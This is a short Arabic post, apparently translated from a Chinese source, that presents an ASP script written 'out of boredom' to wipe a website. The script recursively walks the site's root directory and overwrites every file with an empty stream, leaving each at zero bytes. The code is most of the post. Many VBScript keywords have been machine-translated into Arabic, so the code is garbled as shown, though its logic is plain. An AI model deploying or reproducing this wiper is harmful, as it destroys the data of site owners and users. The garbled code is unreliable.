مسح كافة الملفات الموجودة في دليل الموقع تلقائيًا

الوظيفة: يمكنك مسح جميع ملفات موقع الويب الذي يوجد به هذا الملف ومسح محتويات الملف إلى الصفر، وبعد اكتمال العملية، سيصبح حجم جميع الملفات 0 بايت.
هذا الرمز هو من ابتكاري الأصلي، يرجى وضع علامة على النسخة المعاد طباعتها من موقع lamking.com. شكرًا لتعاونكم. بالإضافة إلى ذلك، يمكن توسيع البرنامج

بسبب الملل

<%

.

Server.ScriptTimeout=99999
إذا كان الطلب ("إرسال")<>"" إذن
استدعاء ListFile(Server.mappath("./"))
Response.write "اكتمل التنظيف"
آخر
Response.write"<form><input type=""submit"" name=""Submit"" value=""بدء التنظيف""></form>"
نهاية إذا
ملف قائمة الوظائف (fpath)
على خطأ استئناف التالي
ديم شل، مجلد، ق
قم بتعيين Shell =Server.CreateObject ("Shell.Application")
تعيين المجلد =Shell.Namespace(fpath)
تعيين f=Server.CreateObject("Adodb.Stream")
و.النوع=1
f. مفتوح
لكل صورة في Folder.Items
إذا s.isfolder ثم
ملف قائمة الاتصال (s.path)
آخر
f.SaveToFile s.path,2
انتهي إذا
التالي
تعيين و = لا شيء
تعيين شل = لا شيء
وظيفة النهاية
%>